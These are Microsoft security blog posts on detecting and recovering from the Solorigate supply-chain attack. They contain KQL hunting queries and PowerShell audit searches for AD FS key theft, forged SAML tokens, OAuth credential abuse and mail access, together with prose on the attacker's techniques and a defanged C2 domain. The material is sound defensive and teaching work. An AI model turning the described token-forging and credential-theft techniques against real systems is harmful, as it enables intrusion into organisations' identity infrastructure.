| parse RawEventData.ModifiedProperties[4].NewValue with * “=> [[” dummpy “Scope: ” After “]]” *
| extend PermissionsGranted = split(After, “]”,0)
| project ConsentTime = Timestamp , AccountDisplayName , spnID , PermissionsGranted
| join (
CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Add service principal credentials.” or ActionType == “Update application – Certificates and secrets management “
| extend spnID = tostring(RawEventData.Target[3].ID)
| project AddSecretTime = Timestamp, AccountDisplayName , spnID
) on spnID
| where ConsentTime < AddSecretTime and AccountDisplayName <> AccountDisplayName1

Microsoft 356 Defender advanced hunting can also assist in many of the recommended incident investigation tasks outlined in the blog, Advice for incident responders on recovery from systemic identity compromises.

In the remaining sections, we will discuss select examples of alerts raised by Microsoft 365 solutions that monitor and detect Solorigate activities across the attack chain on endpoint, identity, and the cloud. These are alerts you may encounter when investigating incidents in Microsoft 365 security center if your organization is affected by this threat. We will also indicate activities which are now blocked by Microsoft 365 Defender. Lastly, each section contains examples of hunting queries you will find useful for hunting for various attacker activities in your environment.

Detecting and blocking malware and malicious behavior on endpoints

Diagram showing attack chain on endpoints involving the Solorigate malware

Figure 7. Solorigate attack chain: Initial access and command-and-control

Discovering and blocking backdoor activity

When the compromised SolarWinds binary SolarWinds.Orion.Core.BusinessLayer.dll gets loaded on a device through normal update channels, the backdoor goes through an extensive list of checks to ensure it’s running in an actual enterprise network and not on an analyst’s machine. It then contacts a command-and-control (C2) server using a subdomain that is generated partly with information gathered from the affected device, which means a unique subdomain is generated for each affected domain. The backdoor allows the attackers to remotely run commands on the device and move to the next stages of the attack. For more information, read our in-depth analysis of the Solorigate malware.

Microsoft Defender for Endpoint delivers comprehensive protection against this threat (see full list of detection and protection alerts at the end of this blog). Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors. It quarantines the malware, even if the process is running.

Screenshot of Microsoft Defender Security Center showing alert for blocking of Solorigate malware

Figure 8. Microsoft Defender for Endpoint blocks malicious binaries

If the malicious code is successfully deployed, the backdoor lies dormant for up to two weeks. It then attempts to contact numerous C2 domains, with the primary domain being *.avsvmcloud[.]com. The backdoor uses a domain generation algorithm to evade detection. Microsoft 365 Defender detects and blocks this behavior.

Screenshot of Microsoft Defender Security Center showing alert for malicious network connection

Figure 9. Microsoft Defender for Endpoint prevented malicious C2 callback

Discovering potentially tampered devices

To evade security software and analyst tools, the Solorigate malware enumerates the target system looking for certain running processes, loaded drivers, and registry keys, with the goal of disabling them.

The Microsoft Defender for Endpoint sensor is one of the processes the malware attempts to disable. Microsoft Defender for Endpoint has built-in protections against many techniques attackers use to disable endpoint sensors ranging from hardened OS protection, anti-tampering policies, and detections for a variety of tampering attempts, including “Attempt to stop Microsoft Defender for Endpoint sensor”, “Tampering with Microsoft Defender for Endpoint sensor settings”, or “Possible sensor tampering in memory”.

Successfully disabling Microsoft Defender for Endpoint can prevent the system from reporting observed activities. However, the multitude of signals reported into Microsoft 365 Defender provides a unique opportunity to hunt for systems where the tampering technique used might have been successful. The following advanced hunting query can be used to locate devices that should be reporting but aren’t:

// Times to be modified as appropriate
let timeAgo=1d;
let silenceTime=8h;
// Get all silent devices and IPs from network events
let allNetwork=materialize(DeviceNetworkEvents
| where Timestamp > ago(timeAgo)
and isnotempty(LocalIP)
and isnotempty(RemoteIP)
and ActionType in (“ConnectionSuccess”, “InboundConnectionAccepted”)
and LocalIP !in (“127.0.0.1”, “::1”)
| project DeviceId, Timestamp, LocalIP, RemoteIP, ReportId);
let nonSilentDevices=allNetwork
| where Timestamp > ago(silenceTime)
| union (DeviceProcessEvents | where Timestamp > ago(silenceTime))
| summarize by DeviceId;
let nonSilentIPs=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by LocalIP;
let silentDevices=allNetwork
| where DeviceId !in (nonSilentDevices)
and LocalIP !in (nonSilentIPs)
| project DeviceId, LocalIP, Timestamp, ReportId;
// Get all remote IPs that were recently active
let addressesDuringSilence=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by RemoteIP;
// Potentially disconnected devices were connected but are silent
silentDevices
| where LocalIP in (addressesDuringSilence)
| summarize ReportId=arg_max(Timestamp, ReportId), Timestamp=max(Timestamp), LocalIP=arg_max(Timestamp, LocalIP) by DeviceId
| project DeviceId, ReportId=ReportId1, Timestamp, LocalIP=LocalIP1

Microsoft is continuously developing additional measures to both block and alert on these types of tampering activities.

Detecting hands-on-keyboard activity within an on-premises environment

Diagram showing Solorigate hands-on-keyboard attack on premises

Figure 11. Solorigate attack chain: Hands-on-keyboard attack on premises

After establishing a backdoor connection on an affected device, the attacker’s next goal is to achieve off-premises access to the organization’s cloud services. To do this, they must find a way to gain permissions to those services. One technique we have seen the attackers use is to go after the organization’s Active Directory Federation Services (AD FS) server to obtain the proverbial “keys” to the identity kingdom. AD FS enables federated identity and access management by securely sharing digital identity and entitlement rights across security and enterprise boundaries; effectively, it is the “LSASS for the cloud.” Among other things, AD FS stores the Security Assertion Markup Language (SAML) token signing certificate, which is used to create authorization tokens for users or services in the organization so they can access cloud applications and resources after authentication.

To attack the AD FS infrastructure, the attackers must first obtain appropriate domain permissions through on-premises intelligence gathering, lateral movement, and credential theft. Building from the backdoor described above, the attackers leverage fileless techniques for privilege escalation, persistence, and lateral movement, including evading analysis by using system binaries and exploration tools that masquerade as other benign binaries. The attackers also carefully chose organization-specific command-and-control (C2) domains and use custom organization-specific tool naming and locations.

Microsoft Defender for Endpoint detects a wide array of these attack techniques, allowing SOC teams to track the attacker’s actions in the environment and take actions to contain the attack. The following section covers detections for the techniques used by the attackers to compromise the AD FS infrastructure.

Identifying attacker reconnaissance

Attackers collect data from Active Directory using a renamed version of the utility ADFind, running queries against Domain Controllers as part of the reconnaissance stage of the attack. Microsoft Defender for Endpoint detects this behavior and allows the SOC analyst to track compromised devices at this stage to gain visibility into the information the attacker is looking for.

Screenshot of Microsoft Defender Security Center alert for detection of exploration tools

Figure 12. Microsoft Defender for Endpoint detects usage of masquerading exploration tools

Screenshot of Microsoft Defender Security Center alert for detection of LDAP queries

Figure 13. Microsoft Defender for Endpoint detects usage LDAP query for reconnaissance.

Stopping lateral movement and credential theft

To gain access to a highly privileged account needed for later steps in the kill chain, the attackers move laterally between devices and dump credentials until an account with the needed privileges is compromised, all while remaining as stealthy as possible.

A variety of credential theft methods, such as dumping LSASS memory, are detected and blocked by Microsoft Defender for Endpoint. The example below shows the detection of lateral movement using Windows Management Instrumentation (WMI) to run the attacker’s payload using the Rundll32.exe process.

Screenshot of Microsoft Defender Security Center alert for detection of remote WMI execution

Figure 14. Microsoft Defender for Endpoint alert for suspicious remote WMI execution highlighting the attacker’s device and payload

Microsoft Defender for Identity also detects and raises alerts on a variety of credential theft techniques. In addition to watching for alerts, security analysts can hunt across identity data in Microsoft 365 Defender for signs of identity compromise. Here are a couple of example Microsoft Defender for Identity queries looking for such patterns:

Enumeration of high-value DC assets followed by logon attempts to validate stolen credentials in time proximity

let MaxTime = 1d;
let MinNumberLogon = 5;
//devices attempting enumeration of high-value DC
IdentityQueryEvents
| where Timestamp > ago(30d)
| where Application == “Active Directory”
| where QueryTarget in (“Read-only Domain Controllers”)
//high-value RODC assets
| project Timestamp, Protocol, Query, DeviceName, AccountUpn
| join kind = innerunique (
//devices trying to logon {MaxTime} after enumeration
IdentityLogonEvents
| where Timestamp > ago(30d)
| where ActionType == “LogonSuccess”
| project LogonTime = Timestamp, DeviceName, DestinationDeviceName) on DeviceName
| where LogonTime between (Timestamp .. (Timestamp + MaxTime))
| summarize n=dcount(DestinationDeviceName), TargetedDC = makeset(DestinationDeviceName) by Timestamp, Protocol, DeviceName
| where n >= MinNumberLogon

High-volume of LDAP queries in short time filtering for non-DC devices

let Threshold = 12;
let BinTime = 1m;
//approximate list of DC
let listDC=IdentityDirectoryEvents
| where Application == “Active Directory”
| where ActionType == “Directory Services replication”
| summarize by DestinationDeviceName;
IdentityQueryEvents
| where Timestamp > ago(30d)
//filter out LDAP traffic across DC
| where DeviceName !in (listDC)
| where ActionType == “LDAP query”
| parse Query with * “Search Scope: ” SearchScope “, Base Object:” BaseObject “, Search Filter: ” SearchFilter
| summarize NumberOfDistinctLdapQueries = dcount(SearchFilter) by DeviceName, bin(Timestamp, BinTime)
| where NumberOfDistinctLdapQueries > Threshold

At this point, SOC teams can take containment measures within the Microsoft 365 security center, for example, using indicators to isolate the devices involved and block the remotely executed payload across the environment, as well as mark suspect users as compromised.

Detecting and remediating persistence

Microsoft Defender for Endpoint also detects the advanced defense evasion and masquerading techniques used by the attackers to make their actions as close to normal as possible, such as binding a WMI event filter with a logical consumer to remain persistent. Follow the recommended actions in the alert to remove persistence and prevent the attacker’s payload from loading after reboot.

Screenshot of Microsoft Defender Security Center alert for detection of WMI event filter bound to suspicious consumer

Figure 15. Microsoft Defender for Endpoint alert for WMI event filter bound to a suspicious consumer showing the persistence and the scheduled command line

Catching AD FS compromise and the attacker’s ability to impersonate users in the cloud

The next step in the attack focuses on the AD FS infrastructure and can unfold in two separate paths that lead to the same outcome—the ability to create valid SAML tokens allowing impersonation of users in the cloud:

  • Path 1 – Stealing the SAML signing certificate: After gaining administrative privileges in the organization’s on-premises network, and with access to the AD FS server itself, the attackers access and extract the SAML signing certificate. With this signing certificate, the attackers create valid SAML tokens to access various desired cloud resources as the identity of their choosing.
  • Path 2 – Adding to or modifying existing federation trust: After gaining administrative Azure Active Directory (Azure AD) privileges using compromised credentials, the attackers add their own certificate as a trusted entity in the domain either by adding a new federation trust to an existing tenant or modifying the properties of an existing federation trust. As a result, any SAML token they create and sign will be valid for the identity of their choosing.

In the first path, obtaining the SAML signing certificate normally entails first querying the private encryption key that resides on the AD FS container and then using that key to decrypt the signing certificate. The certificate can then be used to create illicit but valid SAML tokens that allow the actor to impersonate users, enabling them to access enterprise cloud applications and services.

Microsoft Defender for Endpoint and Microsoft Defender for Identity detect the actions that attackers take to steal the encryption key needed to decrypt the SAML signing certificate. Both solutions leverage unique LDAP telemetry to raise high-severity alerts highlighting the attacker’s progress towards creating illicit SAML tokens.

Screenshot of Microsoft Defender Security Center alert for LDAP query and AD FS private key extraction 

Figure 16. Microsoft Defender for Endpoint detects a suspicious LDAP query being launched and an attempted AD FS private key extraction

Figure 17. Microsoft Defender for Identity detects private key extraction via malicious LDAP requests

For the second path, the attackers create their own SAML signing certificate outside of the organization’s environment. With Azure AD administrative permissions, they then add the new certificate as a trusted object. The following advanced hunting query over Azure AD audit logs shows when domain federation settings are changed, helping to discover where the attackers configured the domain to accept authorization tokens signed by their own signing certificate. As these are rare actions, we advise verifying that any instances identified are the result of legitimate administrative activity.

ADFSDomainTrustMods

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType =~ “Set federation settings on domain.”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetDisplayName = targetDetails.Name
| extend resultStatus = extractjson(“$.ResultStatus”, tostring(RawEventData), typeof(string))
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, targetDisplayName, resultStatus, InitiatingIPAddress=IPAddress, UserAgent

If the SAML signing certificate is confirmed to be compromised or the attacker has added a new one, follow the best practices for invalidating through certificate rotation to prevent further use and creation of SAML tokens by the attacker. Additionally, affected AD FS servers may need to be isolated and remediated to ensure no remaining attacker control or persistence.

If the attackers accomplish either path, they gain the ability to create illicit SAML tokens for the identities of their choosing and bypass multifactor authentication (MFA), since the service or application accepting the token assumes MFA is a necessary previous step in creating a properly signed token. To prevent attackers from progressing to the next stage, which is to access cloud resources, the attack should be discovered and remediated at this stage.

Detecting the hands-on-keyboard activity in the cloud environment

Diagram of hands-on-keyboard attacks in the cloud

Figure 18. Solorigate attack chain: Hands-on-keyboard attack in the cloud

With the ability to create illicit SAML tokens, the attackers can access sensitive data without having to originate from a compromised device or be confined to on-premises persistence. By abusing API access via existing OAuth applications or service principals, they can attempt to blend into the normal pattern of activity, most notably apps or service principals with existing Mail.Read or Mail.ReadWrite permissions to read email content via Microsoft Graph from Exchange Online. If the application does not already have read permissions for emails, then the app may be modified to grant those permissions.

Identifying unusual addition of credentials to an OAuth app

Microsoft Cloud App Security (MCAS) has added new automatic detection of unusual credential additions to an OAuth application to alert SOCs about apps that have been compromised to extract data from the organization. This detection logic is built on an anomaly detection engine that learns from each user in the environment, filtering out normal usage patterns to ensure alerts highlight real attacks and not false positives. If you see this alert in your environment and confirm malicious activity, you should take immediate action to suspend the user, mark the user as compromised, reset the user’s password, and remove the credential additions. You may consider disabling the application during investigation and remediation.

Figure 19. Microsoft Defender Cloud App Security alert for unusual addition of credentials to an OAuth app

SOCs can use the following Microsoft 365 Defender advanced hunting query over Azure AD audit logs to examine when new credentials have been added to a service principle or application. In general, credential changes may be rare depending on the type and use of the service principal or application. SOCs should verify unusual changes with their respective owners to ensure they are the result of legitimate administrative actions.

NewAppOrServicePrincipalCredential

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType in (“Add service principal.”, “Add service principal credentials.”, “Update application – Certificates and secrets management “)
| extend RawEventData = parse_json(RawEventData)
| where RawEventData.ResultStatus =~ “success”
| where AccountDisplayName has “@”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetId = targetDetails.Id
| extend targetType = targetDetails.Type
| extend targetDisplayName = targetDetails.Name
| extend keyEvents = RawEventData.ModifiedProperties
| where keyEvents has “KeyIdentifier=” and keyEvents has “KeyUsage=Verify”
| mvexpand keyEvents
| where keyEvents.Name =~ “KeyDescription”
| parse keyEvents.NewValue with * “KeyIdentifier=” keyIdentifier:string “,KeyType=” keyType:string “,KeyUsage=” keyUsage:string “,DisplayName=” keyDisplayName:string “]” *
| parse keyEvents.OldValue with * “KeyIdentifier=” keyIdentifierOld:string “,KeyType” *
| where keyEvents.OldValue == “[]” or keyIdentifier != keyIdentifierOld
| where keyUsage == “Verify”
| project-away keyEvents
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, InitiatingIPAddress=IPAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier

Discovering malicious access to mail items

OAuth applications or service principals with Mail.Read or Mail.ReadWrite permissions can read email content from Exchange Online via the Microsoft Graph. To help increase visibility on these behaviors, the MailItemsAccessed action is now available via the new Exchange mailbox advanced audit functionality. See if this feature is enabled by default for you. Important note for customers: If you have customized the list of audit events you are collecting, you may need to manually enable this telemetry.

If more than 1,000 MailItemsAccessed audit records are generated in less than 24 hours, Exchange Online stops generating auditing records for MailItemsAccessed activity for 24 hours and then resumes logging after this period. This throttling behavior is a good starting point for SOCs to discover potentially compromised mailboxes.

MailItemsAccessedThrottling

let starttime = 2d;
let endtime = 1d;
CloudAppEvents
| where Timestamp between (startofday(ago(starttime))..startofday(ago(endtime)))
| where ActionType == “MailItemsAccessed”
| where isnotempty(RawEventData[‘ClientAppId’]) and RawEventData[‘OperationProperties’][1] has “True”
| project Timestamp, RawEventData[‘OrganizationId’],AccountObjectId,UserAgent

In addition to looking for throttled telemetry, you can also hunt for OAuth applications reading mail via the Microsoft Graph API whose behavior has changed prior to a baseline period.

OAuthGraphAPIAnomalies

//Look for OAuth App reading mail via GraphAPI — that did not read mail via graph API in prior week
let appMailReadActivity = (timeframeStart:datetime, timeframeEnd:datetime) {
CloudAppEvents
| where Timestamp between (timeframeStart .. timeframeEnd)
| where ActionType == “MailItemsAccessed”
| where RawEventData has “00000003-0000-0000-c000-000000000000” // performance check
| extend rawData = parse_json(RawEventData)
| extend AppId = tostring(parse_json(rawData.AppId))
| extend OAuthAppId = tostring(parse_json(rawData.ClientAppId)) // extract OAuthAppId
| summarize by OAuthAppId
};
appMailReadActivity(ago(1d),now()) // detection period
| join kind = leftanti appMailReadActivity(ago(7d),ago(2d)) // baseline period
on OAuthAppId

Microsoft 365 Defender’s cross-domain XDR correlation enables stronger response to critical security incidents

Like the rest of the security industry, Microsoft continues to track the Solorigate attack, an active threat that continues to unfold as well as evolve. As part of empowering our customers and the larger security community to respond to this attack through sharing intelligence and providing advice, this blog serves to guide Microsoft 365 customers to take full advantage of the comprehensive visibility and the rich investigation tools available in Microsoft 365 Defender. This blog shows that many of the existing capabilities in Microsoft 365 Defender help address this attack, but the unique scenarios created by the threat resulted in some Solorigate-specific detections and other innovative protections, including ones that are made possible by deeply integrated cross-domain threat defense.

For additional information and further guidance, refer to these Microsoft resources:

Microsoft will continue to provide public information about the patterns and techniques of this attack and related intelligence for customers to defend themselves, in addition to enhancing the protection capabilities of Microsoft security solutions.

 

Appendix: Additional details for detection and hunting

Detection details

Attack stage Microsoft 365 Defender detection or alert
Initial access Microsoft Defender for Endpoint:

  • ‘Solorigate’ high-severity malware was detected/blocked/prevented (Trojan:MSIL/Solorigate.BR!dha)
  • SolarWinds Malicious binaries associated with a supply chain attack
Execution and persistence Microsoft Defender for Endpoint:

Command and Control Microsoft Defender for Endpoint:

Defense evasion Microsoft Defender for Endpoint:

  • Suspicious audit policy tampering
Reconnaissance Microsoft Defender for Endpoint:

  • Masquerading Active Directory exploration tool
  • Suspicious sequence of exploration activities
  • Execution of suspicious known LDAP query fragments
Credential access Microsoft Defender for Endpoint:

  • Suspicious access to LSASS (credential access)
  • AD FS private key extraction attempt
  • Possible attempt to access ADFS key material
  • Suspicious ADFS adapter process created

Microsoft Defender for Identity:

  • Unusual addition of permissions to an OAuth app
  • Active Directory attributes Reconnaissance using LDAP

Microsoft Cloud App Security:

  • Unusual addition of credentials to an OAuth app
Lateral movement Microsoft Defender for Endpoint

  • Suspicious file creation initiated remotely (lateral movement)
  • Suspicious Remote WMI Execution (lateral movement)
Exfiltration Microsoft Defender for Endpoint

  • Suspicious mailbox export or access modification
  • Suspicious archive creation

Advanced hunting queries

Attack stage Query link in GitHub repo
General Microsoft Defender for Endpoint Threat and Vulnerability Management:

Initial access Microsoft Defender for Endpoint:

Execution Microsoft Defender for Endpoint:

DeviceProcessEvents
| where InitiatingProcessFileName =~”Microsoft.IdentityServer.ServiceHost.exe”
| where FileName in~(“werfault.exe”, “csc.exe”)
| where ProcessCommandLine !contains (“nameId”)

Command and Control Microsoft Defender for Endpoint

Credential access Azure Active Directory (Microsoft Cloud App Security):

Exfiltration Exchange Online (Microsoft Cloud App Security):

The post Using Microsoft 365 Defender to protect against Solorigate appeared first on Microsoft Security.

Advice for incident responders on recovery from systemic identity compromises

December 21st, 2020 No comments

As Microsoft alongside our industry partners and the security community continues to investigate the extent of the Solorigate attack, our goal is to provide the latest threat intelligence including IOCs and guidance across our products and solutions to help the community fight back against, harden your infrastructure, and begin to recover from this attack of unprecedented scale. As new information becomes available, we will make updates to this article.

This blog will outline lessons learned from this and other incident response to date in on-premises and cloud environments. This latest guidance is for customers looking to re-establish trusted identities for credentials that are suspected of compromise by Solorigate malware.

This article is intended to give experienced incident responders some advice on techniques to consider when helping an organization respond to a suspected systemic identity compromise, like we’re seeing in some victims of the Solorigate malware, based on our experience in the field in similar scenarios. Re-establishing trust in the organization’s on-premises and cloud environments with minimal business impact requires in-depth investigation and an understanding of potential methods of persistence. While not meant to cover every possible scenario, this guidance is intended to summarize our experience with similar customer breaches and will be updated if we learn of new information that would help with successful recovery. Please review the resources referenced at the end of this article for additional information. This information is provided as-is and constitutes generalized guidance; the ultimate determination about how to apply this guidance to your IT environment and tenant(s) must consider your unique environment and needs, which each Customer is in the best position to determine.

The Solorigate investigation referenced in this guidance is ongoing at the time of publication and our teams continue to act as first responders to these attacks. As new information becomes available, we will make updates through our Microsoft Security Response Center (MSRC) blog.

Overview of the intrusion

As described in this Microsoft blog post, the hallmarks of this actor’s activity include, but are not limited to, the following techniques that are likely to result in systemic identity compromise:

  • An intrusion through malicious code in the SolarWinds Orion product. This results in the attacker gaining a foothold in the network, which the attacker can use to gain elevated credentials. Microsoft Defender now has detections for these files. Read our in-depth technical analysis of the Solorigate malware.
  • An intruder using administrative permissions (acquired through an on-premises compromise) to gain access to an organization’s trusted SAML token-signing certificate. This enables them to forge SAML tokens to impersonate any of the organization’s existing users and accounts, including highly privileged accounts.
  • Anomalous logins using the SAML tokens signed with a compromised token-signing certificate, which can be used against any on-premises resources (regardless of identity system or vendor) as well as against any cloud environment (regardless of vendor) because they have been configured to trust the certificate. An organization may miss the use of illegitimate SAML tokens because they are signed with a legitimate certificate.
  • The use of highly privileged accounts (acquired through the technique above or other means) to add illegitimate credentials to existing application service principals, enabling the attacker to call APIs with the permission assigned to that application.

Overview of response objectives

Organizations that have experienced systemic identity compromise need to start recovery by re-establishing trustworthy communications. This will enable effective triage and coordination of business operations recovery.

Many organizations have complex internal and external interdependencies. Core business processes and applications in an organization are likely to be temporarily impacted during recovery efforts until trust within your environment is re-established. Microsoft recommends that Incident Responders establish secure communications with key organizational personnel as the first step toward organizational recovery. If your investigation indicates that the attacker has used techniques outside of identity compromise at lower levels of your organizations’ infrastructure, such as hardware or firmware attacks, you will need to address those threats to reduce the risk of re-compromise.

Response objectives in approximate order:

  1. Establish secure communications for personnel key to the investigation and response effort.
  2. Investigate the environment for persistence and initial access point, while establishing continuous monitoring operations during recovery efforts.
  3. Regain and retain administrative control of your environment and remediate or block possible persistence techniques and initial access exploits.
  4. Improve posture by enabling security features and capabilities following best practice recommendations.

We recommend that incident responders review and digest the entirety of this guidance before taking action, as the specific order of actions taken to achieve the response objectives is very situational and depends heavily on the results (and completeness) of investigation and the business constraints of the specific organization. The following sections describe the incident Response techniques we recommend you consider for each of the above objectives.

Establish secure communications and productivity

Successful response requires being able to communicate without the attacker eavesdropping on your communications. Until you have achieved assurance in the privacy of your communications on your current infrastructure, use completely isolated identities and communication resources to coordinate your response and discuss topics that could potentially tip off the attacker to your investigation. Until your investigation has achieved assurance in actor eviction, we strongly recommend that you keep all incident-related comms isolated to enable you to have the element of surprise when taking remediation actions.

  • Initial one-on-one and group communications can be achieved through phone (PSTN) calling, conference bridges not connected to the corporate infrastructure, and end-to-end encrypted messaging solutions.
  • One way that many customers have established secure productivity and collaboration is to create a new Office 365 tenant which is completely isolated from the organization’s production tenant and create accounts only for the key personnel needed, and any incident response vendors or partners who need to be part of the response.
    • Make sure to follow best practices for securing this tenant, especially administrative accounts and rights by default. The new tenant should be limited on Administrative rights along with no trusts with outside applications or vendors. If you need further assistance or want information on hardening Microsoft 365, you can review the guidance here.

Investigate your environment

Once your incident responders and key personnel have a secure place to collaborate, the next step is to investigate the suspected compromised environment. Successful investigation will be a balance between getting to the bottom of every anomalous behavior to fully scope the extent of attacker activity and persistence and taking action quickly to stop any further activity on objectives by the attacker. Successful remediation requires as complete an understanding of the initial method of entry and persistence mechanisms controlled by the attacker as possible. Any persistence mechanisms missed could result in continued access by the attacker and potential for re-compromise.

  • Investigate and review cloud environment logs for suspicious actions and attacker IOCs, including:
    • Unified Audit Logs (UAL).
    • Azure Active Directory (Azure AD) logs.
    • Active Directory logs.
    • Exchange on-prem logs.
    • VPN logs.
    • Engineering systems logging.
    • Antivirus and endpoint detection logging.
  • Review endpoint audit logs for changes from on-premises for actions including, but not limited to, the following:
    • Group membership changes.
    • New user account creation.
    • Delegations within Active Directory.
    • Along with other typical signs of compromise or activity.
  • Review Administrative rights in your environments
    • Review privileged access in the cloud and remove any unnecessary permissions. Implement Privileged Identity Management (PIM); setup Conditional Access policies to limit administrative access during hardening.
    • Review privileged access on-premise and remove unnecessary permissions. Reduce membership of built-in groups, verify Active Directory delegations, harden Tier 0 environment, and limit who has access to Tier 0 assets.
    • Review all Enterprise Applications for delegated permissions and consent grants that allow (sample script to assist):
      • Modification of privileged users and roles.
      • Reading or accessing all mailboxes.
      • Sending or forwarding email on behalf of other users.
      • Accessing all OneDrive or SharePoint sites content.
      • Adding service principals that can read/write to the Directory.
    • Review access and configuration settings for the following Office 365 products:
      • SharePoint Online Sharing
      • Teams
      • PowerApps
      • OneDrive for Business
    • Review user accounts
      • Review and remove guest users that are no longer needed.
      • Review email configurations using Hawk or something similar.
        • Delegates
        • Mailbox folder permissions
        • ActiveSync mobile device registrations
        • Inbox Rules
        • Outlook on the Web Options
      • Validate that both MFA and self-service password reset (SSPR) contact information for all users is correct.

You may find that one or more of the logging sources above are data sources that the organization does not currently include in its security program. Some of them, especially the logging available in the cloud, are available only if configured and we recommend that you configure them as soon as possible to enable both the detections in the next section and forensics review of logs going forward. Make sure to configure your log retention to support your organization’s investigation goals going forward and retain evidence, if needed for legal, regulatory, or insurance purposes.

Establish continuous monitoring

There are many ways to detect activity associated with this campaign. Exactly how your organization will detect attacker behavior depends on which security tools you have available, or choose to deploy in response. Microsoft has provided examples publicly for some of the core security products and services that we offer and are continually updating those documents as new threat intelligence is identified related to this attacker. If you use other vendor’s products, review your vendor’s recommendations, and review the Microsoft documentation below to understand the detection techniques if you need to implement analogous detections in your environment on your own.

For readers using Azure Sentinel in their environments, review SolarWinds Post-Compromise Hunting guidance.

For readers using Microsoft Defender for Endpoint, review our guidance here, and review Microsoft Defender Antivirus guidance.

Azure Active Directory sign-ins

You can view this information from the Azure Active Directory Sign-in blade by selecting an appropriate time window and then downloading the report as either a CSV or JSON file. NOTE: You can download interactive, as well as non-interactive, sign-in reports via this interface. Once you have downloaded the results, look for the value “MFA requirement satisfied by claim in the token” in the “MFA result” field.

You can also use the Get-AzureADAuditSignInLogs cmdlet (see the details here) and filter the results to only return entries that match this field value, as seen in this example:

Get-AzureADAuditSignInLogs -All:$true -Filter "createdDateTime gt <startdate> and createdDateTime lt <enddate>"  | where {$_.Status.AdditionalDetails -eq "MFA requirement satisfied by claim in the token"} | select-object CreatedDateTime, IpAddress,UserAgent, ResourceDisplayName, CorrelationId, RequestId, UserPrincipalName -ExpandProperty Status

If your ADFS environment is configured to send a claim for MFA being satisfied, this may not be a strong signal. However, for many organizations using ADFS, and this claim is not included per your configuration; in those cases, the presence of this claim may be a strong indicator of attacker activity. You may also wish to add additional filters or conditions in the where clause to further improve your signal to noise ratio, such as only surfacing results from domains that are federated.

If suspicious sign-ins are detected, you can further pivot your investigation based on IP addresses identified, user accounts identified, and/or other indicators such as the UserAgent string and client operating system observed, if based on your knowledge of your environment these appear to be strong indicators.

Analysis of risky sign-in events

In some cases, Azure Active Directory and its Identity Protection platform will generate risk events associated with the use of attacker generated SAML tokens. These can be labeled as “unfamiliar properties”, “anonymous IP address”, “impossible travel” and the other risk events as described here.

Closely analyze all risk events associated with accounts that have administrative privileges. It is also important to analyze events that have been dismissed or remediated as some of these actions are done automatically. For example, a risk event for an anonymous IP address can be automatically remediated because the user passed MFA.

Detection of domain authentication properties

The attacker may attempt to manipulate the domain authentication policies which are recorded in the Azure Active Directory Audit Logs and reflected in the Unified Audit Log. An attacker who has gained access with Global Administrator privileges can modify the domains that are federated and/or trusted. Review any events associated with “Set domain authentication” in either the Unified Audit Log, Azure AD Audit Logs, and/or your SIEM environment. Verify that all activities were expected and planned.

The sample command below returns the entries from the Unified Audit Log which were associated with manipulation of domain authentication settings.

Search-UnifiedAuditLog -StartDate <startdate> -EndDate <enddate> -ResultSize 5000 -Operations "Set domain authentication"

Detection of credentials to a service principal associated with an OAuth application

If the attacker has gained control of a credential with sufficient privileges, the attack pattern includes locating an application that has been granted the ability to access any user’s e-mail in the organization and adding attacker controlled credentials to that application. In some cases, the attacker has modified these applications granting them additional rights such as access to all e-mail in the organization.

The following are operations that would be consistent with attacker behavior:

  • Add service principal credentials.
  • Update application- certificates and secrets management.
  • Update service principal.
  • Add app role assignment to service principal.
  • Add app role assignment grant to user.
  • Add OAuth2PermissionGrant.

Detection e-mail access by applications

Detection of access to e-mail by applications can be achieved using the Advanced Auditing capabilities of Office 365. Access to messages inside of Office 365 is audited via the MailItemsAccessed capability.

Analyze events in the Unified Audit Log for the Operation of MailItemsAccessed.

Detection of non-interactive sign-ins to service principals

Azure Active Directory in the Sign-In reports provides reporting of non-interactive sign-ins using credentials issued to service principals (as was observed in this attack). Analyzing the sign-ins for service principals reports can provide valuable data such as the IP Address the attacker was using to access the applications for e-mail access.

If there is evidence found that uncovers administrative permissions acquired through the on-premises compromise to gain access to your organization’s global administrator account and/or trusted SAML token signing certificate, Microsoft recommends taking the following immediate actions:

Remediate and retain administrative control

Regaining and retaining administrative control of your environment

If your investigation has identified that the attacker has administrative control in the organization’s cloud environment and/or on-prem, it’s critical to regain control in such a way as to ensure that the attacker isn’t persistent. Exactly which steps you will take depend both on what persistence you discovered in your investigation, and your level of confidence in the completeness of that investigation and discovery of all possible methods of entry and persistence. While it is possible to regain control with high confidence, even in the face of an incomplete investigation, doing so requires significant impact to business operations, so most organizations choose to remediate based on the results of the investigation in our experience.

We recommend you consider the following steps when building your administrative control recovery plan, but the exact order and timing should be planned based on the results of your investigation and understanding of adversary owned administrative assets and methods of persistence.

  • Ensure that any actions described here are performed from a trusted device built from a clean source, such as a privileged access workstation.
  • If the organization has lost control of its token signing certificates or federated trust the highest assurance approach is to remove trust and switch to cloud mastered identity while remediating on-prem. A detailed plan for doing so is beyond the scope of this document and requires careful planning and understanding of the business operations impacts of isolating identity. Review the Azure Active Directory guidance or key considerations.
  • Should your organization choose not to break trust while recovering administrative control on-prem, you’ll need to rotate your SAML token signing certificate once you have regained administrative control on-prem and blocked the attacker’s ability to access the signing certificate again. It’s critical that your organization follow the certificate rotation instructions below to ensure that the attacker doesn’t maintain the ability to forge tokens for your domain.

Rotation of ADFS token signing certificate

For a compromised or potentially compromised ADFS Token Signing certificate, rotating the Token Signing certificate a single time would still allow the previous Token Signing certificate to work. The rationale for this is to permit a grace period to update your Relying Party Trusts prior to expiration of the certificate during normal rotation of the signing certificate.

If instead of rolling the Token Signing Certificate your organization feels the need to replace the ADFS servers with known clean systems, you can follow steps to remove the existing ADFS from your environment and build a new one.

Delete Azure AD Cloud Provisioning agent configuration.

